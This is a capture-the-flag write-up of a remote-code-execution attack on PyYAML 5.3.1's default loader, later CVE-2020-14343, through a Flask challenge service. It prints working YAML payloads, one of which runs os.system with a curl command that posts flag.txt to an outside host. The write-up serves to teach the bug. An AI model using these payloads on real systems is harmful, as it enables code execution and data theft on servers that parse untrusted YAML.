# uiuctf 2020
## deserializeme (450, 3 solves, solved by @ozetta and @harrier)
> Update: It was assigned as [CVE-2020-14343](https://access.redhat.com/security/cve/cve-2020-14343) after the contest.
This was a fun challenge exploiting a deserialize service in Python.
The server is using [pyYAML](https://github.com/yaml/pyyaml/tree/5.3.1) and Flask, with the source code below:
```python=
from flask import Flask, session, request, make_response
import yaml
import re
import os
app = Flask(__name__)
app.secret_key = os.urandom(16)
@app.route('/', methods=["POST"])
def pwnme():
if not re.fullmatch(b"^[\n --/-\]a-}]*$", request.data, flags=re.MULTILINE):
return "Nice try!", 400
return yaml.load(request.data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
```
Bascially it is a service to do yaml.load() to your input and print it (return) with limitation to block some special character (especially `.` and `_`)
The version of pyYAML and flask is both at latest release, so its not with an challenge with an existing CVE.
We noticed that `yaml.load` is "unsafe" by the README:
```
When LibYAML bindings are installed, you may use fast LibYAML-based
parser and emitter as follows:
>>> yaml.load(stream, Loader=yaml.CLoader)
>>> yaml.dump(data, Dumper=yaml.CDumper)
If you don't trust the input stream, you should use:
>>> yaml.safe_load(stream)
```
So we dig into the internals of yaml loader.
From the source code, when loader is not provided, it uses `FullLoader`
```python
def load(stream, Loader=None):
"""
Parse the first YAML document in a stream
and produce the corresponding Python object.
"""
if Loader is None:
load_warning('load')
Loader = FullLoader
loader = Loader(stream)
try:
return loader.get_single_data()
finally:
loader.dispose()
```
And `FullLoader` uses `FullConstructor` to construct the python objects in:
https://github.com/yaml/pyyaml/blob/5.3.1/lib3/yaml/constructor.py
The differences of `FullConstructor` and `UnsafeConstructor` is, UnsafeConstructor can uses the yaml tag: `python/object/apply` (that can be used to call functions) and it doesn't block some reserved keywords.
From there, we guessed the challenge was to do an RCE using `python/object/new` tag (that is available in FullConstructor) and somehow bypass the CVE-2020-1747 [fixes](https://github.com/yaml/pyyaml/pull/386).
(With the POC [here](https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1))
The CVE-2020-1747 exploits the fact that user can input a object with a customized `extend` function, so that after the object is constructed (with `python/object/new` / `python/object/apply`), it can trigger the function `extend` as it is used by the constructor as below:
```python
def construct_python_object_apply(self, suffix, node, newobj=False):
...
instance = self.make_python_instance(suffix, node, args, kwds, newobj)
if state:
self.set_python_instance_state(instance, state)
if listitems:
instance.extend(listitems)
if dictitems:
for key in dictitems:
instance[key] = dictitems[key]
return instance
```
While the format of `python/object/apply` can supply states for the object, we can use `python/name` to reference a python internal function (exec, eval etc). We cannot use an module function as `.` and `_` is blocked, so the CVE PoC cannot be used. (and it used apply, which is blocked by `FullConstructor`)
```
# !!python/object/apply # (or !!python/object/new)
# args: [ ... arguments ... ]
# kwds: { ... keywords ... }
# state: ... state ...
# listitems: [ ... listitems ... ]
# dictitems: { ... dictitems ... }
# or short format:
# !!python/object/apply [ ... arguments ... ]
```
The 5.3.1 fixes also blocked the key `extend` and `^__.*__$` to disallow setting those key with the state parameter.
We discovered that we can use `python/object/new` with `type` constructor (`type` is a type...) to create new types with some customized internal state. With this, we can bypass the `state` key block mechanism and freely set our object to something like this:
```
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
```
With this we can put our commands to `listitems`, and the constructor will call `instance.extend(listitems)`, thus finish our RCE exploit.
Full payload:
```
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('curl -POST mil1\x2eml/jm9 -F x=@flag\x2etxt')"
```
(We changed `_` to `\x5f` and `.` to `\x2e` to bypass the regex limitation)
The intended solution uses `map` as a type (as it is a type in Python 3):
```
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ 'PAYLOAD_HERE' ]]]
```
This is essentially the python code `tuple(map(eval, "PAYLOAD")))`, and this works as `map` and `tuple` are both class constructor (so it doesnt use any function as apply calls).
Thanks for the author for such cool challenge (basically used a 0day for the CTF challenge).